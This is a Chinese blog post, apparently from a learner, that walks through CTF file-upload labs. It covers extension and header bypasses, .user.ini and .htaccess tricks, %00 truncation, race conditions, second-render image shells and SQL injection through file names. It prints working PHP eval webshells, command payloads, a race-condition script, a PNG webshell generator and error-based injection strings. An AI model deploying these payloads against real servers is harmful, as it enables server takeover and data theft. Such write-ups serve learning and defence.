对文件上传的浅学习
2022-9-21 00:2:12 Author: LemonSec(查看原文) 阅读量:20 收藏

文件上传与文件包含这种漏洞都是比较常见的漏洞,在学习过后对其进行简单总结,希望能对正在学习此部分的师傅们有一些帮助。

漏洞定义

文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。这种攻击方式是最为直接和有效的,“文件上传” 本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。

漏洞危害

网站被控制,对文件增删改查,执行命令,链接数据库
如果服务器长久未更新,可以利用exp提权,导致服务器沦陷
同服务器的其他网站沦陷
漏洞常见利用方法
1、修改限制的后缀名(前端js检测时可直接在浏览器中修改)

2、修改文件头绕过,即修改content-type与要求后缀一致(检测文件头时,即后端设置检测时)

3、修改.user.ini配置文件(当存在index.php文件时)

4、构造GIF89A添加到文件绕过图片检测(检测文件内容时)

5、修改.htaccess绕过(中间件解析漏洞)

5、%00截断绕过后缀检测

6、利用条件竞争绕过

7、二次渲染绕过

漏洞常用知识

1、一些黑名单被过滤时的替代方法

<1>在上传文件时,有时候php可能被过滤,而php文件的的格式是<?php ?>,因此这里的话我们可以用短标签=来进行替代,或者有时候可以用大小写或者双写(例如:phphpp),从而实现绕过。

<2>在上传文件时,有时候会上传日志文件,当过滤var这种的时候,我们可以用.来进行绕过,即构造loglo’.’g

<3>在写文件内容时,有时候会被过滤空格,这时候我们有以下几种绕过方法

/**/
%09(php环境)
${IFS}
//加$是为了隔断,IFS是shell已经定好的,功能就是分隔变量,默认就是对字段起分隔作用
$IFS$9

2、中间件解析漏洞

<1>apache解析漏洞

(1)Apache 是从右到左开始判断解析,如果为不可识别解析,就再往左判断

举个栗子

当我们输入文件名为1.php.rar时,由于apache不识别解析rar文件,因此这里就等同于上传的文件名为1.php,但我们访问的话仍是1.php.rar,访问这个文件就可以发现我们上传文件成功

(2)Apache中的.htaccess文件

.htaccess的定义

概述来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

我们这里的话利用的就是改变文件拓展名

在这里的话它的含义就是将其他文件解析为php给执行,内容修改后大致是这样

AddType application/x-httpd-php .jpg

<2>IIS解析漏洞

(1)文件解析漏洞(5.x-6.0版本)

举个栗子

我们上传1.asp;.jpg,此时也可能会出现匹配最后.后面的后缀的情况,从而认为上传的文件是jpg,但IIS不看分号后的内容,所以它理解的文件名其实就是1.asp

(2)目录解析漏洞(5.x-6.0的版本)

依旧用栗子来说明

例如/123.asp/ddd.jpg,网站限制了上传文件的格式(只能jpg)
在123.asp路径下的文件(如ddd.jpg)都会以asp文件解析

<3>Nginx解析漏洞

(1)Nginx中php配置错误导致的解析漏洞

再举个栗子

当我们构造一个文件,假如名字是test.jpg,写入内容为,此时我们访问test.jpg,其返回的是图片存在问题,无法显示,而当我们此时访问test.jpg/test.php时,回显”Access denied”,这个test.jpg不是目录,而且test.php更是一个都不存在的文件,此时却回显了访问被拒绝,这是为什么呢,因为这时Nginx会认为这是php文件,转交给php来处理,而php发现这个test.php文件不存在,就会删去test.php,此时就会访问test.jpg,php认为它不是php文件,就回显了拒绝访问。而当我们将配/etc/php5/fpm/php-fpm.conf文件中的security.limit_extensions添加上.jpg时就会回显出php配置信息

(2)%00截断

前提

php版本小于5.3.29
magic_quotes_gpc = Off
它的原理简单的来说就是url中的%00表示ascii码中的0,而ascii码中的0表示的就是字符串结束,不再往后面读取,此时就实现了截断的目的

举个栗子

假设此时我们想上传php文件,但允许上传的是jpg文件,我们此时就可以借助%00截断来实现

filename=1.jpg 此时上传的是1.jpg

加上%00

filename=1.php%00.jpg 此时上传的是1.php(突破限制)

修改后缀名绕过(前端修改js代码)

进入靶场,选择开发者模式,发现了允许格式,我们点击修改


将png修改为php


此时上传我们的木马文件

<?php
var_dump("包含成功");//方便查看是否成功包含
@eval($_POST[1]);
?>


此时就可以执行我们想要执行的语句了,首先查看根目录,构造payload如下

1=system("ls /");


这个目录没有,去上个目录进行查看

1=system("ls ../");


找到flag,查看文件,构造payload如下

1=system("tac ../flag.php");

修改文件头绕过

我们发现修改前端上传php已经不行了


可能是后端检验了文件内容类型,我们bp抓包修改文件类型再进行尝试

成功上传,访问


蚁剑连接


得到flag

修改.user.ini配置文件绕过

0X01

上传.user.ini文件添加文件包含功能,首先我们需要修改js代码,删去限制文件后缀,修改acceptfile


然后呢,我们上传.user.ini进行抓包

上传成功,此时再传我们的txt文件

将错误复制到浏览器中查看错误具体回显信息


文件内容不合规,说明里面有过滤,一一排除后发现是php的问题,说明后端过滤了php
但是报出了语法错误,说明这个php需要修改,修改大小写的话服务器不解析,不行,因此我们这里用短标签=来绕过


查看url/upload/index.php

获取flag

1=system("tac ../f*.php");

0X02

同之前写入.user.ini文件,但此时发现利用短标签也无法进行绕过


进行排查,先将中间内容修改为1试试


上传成功,说明里面有东西被过滤掉了


一一排查后发现是[]被ban了,这个[]可以用{}来进行绕过


查看文件


获取flag

1=system("tac ../flag.php");?>

0X03(.user.ini配置文件结合日志包含)

思路是.user.ini包含一个文件,然后让这个文件包含日志文件,但经过检测后发现过滤了空格,我们这里本来打算采取%09进行绕过,但是在界面上会报错,因此我们这里用/**/来代替空格,构造payload如下

<?=include/**/'/var/l'.'og/nginx/access.lo'.'g'?>


然后访问url/1.txt,修改UA为一句话木马


此时本来应该是404的,但是由于后端设置的原因,所以这里回到了靶场最初的位置
此时我们访问url/upload/,post随便上传一个验证是否成功上传


蚁剑连接


成功拿到flag

修改文件内容绕过

我们构造jpg文件传入一句话木马的话,<会被识别出来而无法上传


我们尝试构造pthml文件,pthml文件指的是嵌入html的php文件,这里我们可以发现仍然不行,可能对文件头进行了检查


那我们这里呢,就构造pthml文件,这样标签就不会被过滤,也就可以绕过
构造payload如下
GIF89A<script language="php">eval($_POST[1]);phpinfo();</script>
(GIF89A是构造一个图片头文件欺骗)


查看这个文件,盲猜文件存放位置为upload

此时蚁剑连接获取webshell即可


此时寻找flag即可

中间件解析漏洞

提示了httpd,httpd-apache2服务器上传.htaccess文件 ,对于此类文件的解释

概述来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

在这里的话它的含义就是将任意jpg文件解析为php给执行,
参考文章
https://blog.csdn.net/frankarmstrong/article/details/72235206
首先上传.htaccess文件


此时再传图片马


进行访问


获取flag

%00截断

这里直接采取对源码进行分析,来更清晰的讲解%00截断

源码如下

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}

这句话$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;我们可以看出来是以get方式得到的文件上传路径,因此我们这里让在他get的路径后加上%00,此时的语句就相当于$img_path = $_GET['save_path'],此时的路径也就是这个get设置的路径,后面的都不再看了,随便上传个jpg即可,内容写为一句话木马

此时上传的路径就相当于被我们指定为upload/1.php,他的重塑和后缀名都被%00给截断了

访问即可看见文件执行成功

条件竞争绕过(结合.user.ini配置文件的修改)

检测过后发现过滤了点.,此时的思路的话就是利用文件包含,我们先上传一个.user.ini文件,上传一个无后缀的文件,再让这个文件包含我们的session文件,此时用脚本进行文件竞争即可
上传.user.ini文件包含一个文件

上传文件包含session文件

GIF89a
<?=include"/tmp/sess_quan9i"?>


此时利用脚本(这里没有写入文件的原因是每次加载php文件都会刷新.user.ini文件,而.user.ini文件包含了22这个文件,那么此时就相当于把22这个文件给写入到了这里面)

import requests
import threading
session=requests.session()
sessionid='quan9i'
url1="http://f275f432-9203-4050-99ad-a185d3b6f466.chall.ctf.show/"
url2="http://f275f432-9203-4050-99ad-a185d3b6f466.chall.ctf.show/upload"
data1={
'PHP_SESSION_UPLOAD_PROGRESS':'<?php system("tac ../f*");?>'
}
file={
'file':sessionid//指定写入的文件路径为/tmp/sess_quan9i
}
cookies={
'PHPSESSID': sessionid//指定session文件存储的路径是/tmp/sess_quan9i
}

def write():
while True:
r = session.post(url1,data=data1,files=file,cookies=cookies)
def read():
while True:
r = session.get(url2)
if 'flag' in r.text:
print(r.text)

threads = [threading.Thread(target=write),
threading.Thread(target=read)]
for t in threads:
t.start()

二次渲染绕

我们发现.user.ini无法上传,但是单纯的png格式的图片是可以上传的,这里可能涉及到了文件的二次渲染
,文件渲染一般都会涉及imagecreatefromjpeg 函数,当出现这个函数的时候,那么普通的图片马都会被过滤掉,函数介绍如下

imagecreatefromjpeg — 由文件或 URL 创建一个新图象。
imagecreatefromjpeg( $filename)
返回一图像标识符,代表了从给定的文件名取得的图像。

这里我们引用其他师傅的脚本来创建一个图片马,这个图片马会自动写入木马文件并且保证木马不会被二次渲染所影响

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);

$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>

运行这个php文件后即会在当前目录出现一个1.png文件,我们可以用记事本来查看一下文件的内容


可以发现木马文件存在其中,将这个文件上传


post抓包后进行修改数据,这里先介绍一个call_user_func函数

call_user_func — 把第一个参数作为回调函数调用
mixed call_user_func( callable $callback)
callback
将被调用的回调函数(callable)。
parameter
0个或以上的参数,被传入回调函数。

这个玩意可以检测一下是否可以执行(其实没啥必要,这里就是学习学习函数),输入payload如下

url&0=call_user_func
1=phpinfo


然后发现可以执行,此时我们查看当前目录

&0=system
1=ls ./


获取flag

url&0=system
1=tac f*

题型新颖的文件上传

与反弹shell结合的文件上传(MRCTF签到)


发现是一道文件上传的题目,我们选择文件进行上传并且抓包,而后发现只有php文件可以上传,其他文件都是无法上传的,因此的话中间件解析漏洞和图片马就没法使用了,而后经过测试,我们发现这个system函数直接执行语句也是不行


此时我们想构造一句话木马


发现一句话木马传不进去,post里面不放数字的时候可以


这里尝试phpinfo()


也会报错
尝试伪协议,也无法进行绕过


此时我们尝试包含日志文件


结果依旧还是不行


此时的话还有就是类似于变量拼接的那种,先把值赋给一个变量,再执行这个变量将结果给另一个变量,再将这个输出,具体如下


至于为什么要用这种形式,而不是直接eval ($a),这只是因为直接上传的时候会报错


而我们知道eval函数的执行方式还可以这样运用eval("return $a;");,因此我们这里的话就可以尝试这样来进行

此时的话你会发现这个可以输出,那我们把数字运算,改成post1,不就也可以传上去了吗,尝试一下

<?php
$b=eval(" return $a");
echo $b;


但此时你去上传phpinfo()


发现什么也没有,这是为什么呢,因为我们的语句,那个post1是单引号,它是不解析的,因为不解析,所以返回的是字符串,所以输出是空,那怎么样才能让他输出呢,我们再加一个eval给它试试


我们如果想让他解析,就需要改为双引号,或者是把echo $b修改为eval $b,也就是上图
此时就构造出来了,因此我们传入的一句话木马就是

<?php
$b=eval(" return $a");
eval $b;

或者

<?php
$b=eval(" return $a");
eval $b;

此时我们进行查找

进行蚁剑连接后


也只有这样,而此时你再看题给有hint


找不到flag为正常情况
此时就可能需要提权了,我们此时是个低权限用户,变成root用户才行,此时反弹shell服务器也找不到内核具体版本,从而找不到类似的提权办法,利用常见的脏牛发现也不行,
此时在index.php文件下进行ls-al查看一下权限

发现index.php本身是个root权限,此时我们知道这个php文件传入的时候是root权限,那我们直接利用php文件进行反弹shell到服务器,服务器开启监听,这时候就可以得到root权限


看起来504,但是其实他在这个过程中已经执行了语句


执行查找flag语句

grep -r "MRCTF{" /var

结合SQL注入的文件上传(网刃杯upload)


此时就可以看见是文件上传,同时提示了sql yyds,说明可能和sql注入存在某种联系,此时我们打开环境


随便上传一个文件


此时的话就抓包修改content-type为ctf


查看这个文件你会发现他不进行解析


而且你会发现,他对每个上传成功的文件进行了重命名,因此那个利用apache解析漏洞修改.htacess文件的方法就失效了,因为前面加有东西的话,这个就无效了,此时我们图片马也就不用想了,试试phtml这个

依然是不解析


此时的话我们想一下开头就提到了那个sql yyds ,我们去百度一下后会发现真的有文件上传+sql注入的这种题存在


简单了解过后,发现这些都是在文件名处进行注入,因此我们尝试把文件名当成注入点进行尝试,sql注入一般都是单引号或者啥的闭合,我们先让文件名来个1'试试


报错了,你会发现1'后面是'),那这不就说明闭合方式是')了,我们尝试给它闭合住,构造payload如下

1'or 1=1 )#


此时尝试进行联合查询


发现报错了,猜测可能是字段数的问题,但是修改后还是报错,emm,那我此时看着报错,想着为啥不用报错注入呢,这里用报错注入尝试一下

-1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)) #


爆出了数据库名,这里我们再尝试爆表

-1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='upload'),0x7e),1)) #


此时报错了但未爆出表名,你看上面的sql语句,会发现少了个东西,select table_name from information_schema这个查表的语句没有出现在这里,前面变成了一串字符串,说明这里查表语句被过滤了,那我们这里的话应该是还有其他方法可以获取表名的,不过我这里想试试盲猜(太菜,其他不会,只能死马当做活马医),我猜flag位于flag列,进行尝试,

-1' and updatexml(1,concat(0x7e,(select flag from flag),0x7e),1)) #

擦,还真有,那我们随便用个截取函数,截取后半部分


两者结合一下,就可以得到flagflag{5937a0b90b5966939cccd369291c68aa}

博主是一个小白,可能在多方面存在问题,在做过ctf赛题后也是深感到自己知识的匮乏,总结的多有不当,有问题还请各位师傅多多指教!!!

原文链接:https://www.freebuf.com/articles/web/334341.html

侵权请私聊公众号删文

 热文推荐  

欢迎关注LemonSec
觉得不错点个“赞”、“在看“

文章来源: http://mp.weixin.qq.com/s?__biz=MzUyMTA0MjQ4NA==&mid=2247535504&idx=2&sn=3ca27c49819a1559dbb424230557640d&chksm=f9e324cbce94addd87a4134ce8de2bfdeb272003fbee691d0661fb0040884cf0f78f11c1350d#rd
如有侵权请联系:admin#unsafe.sh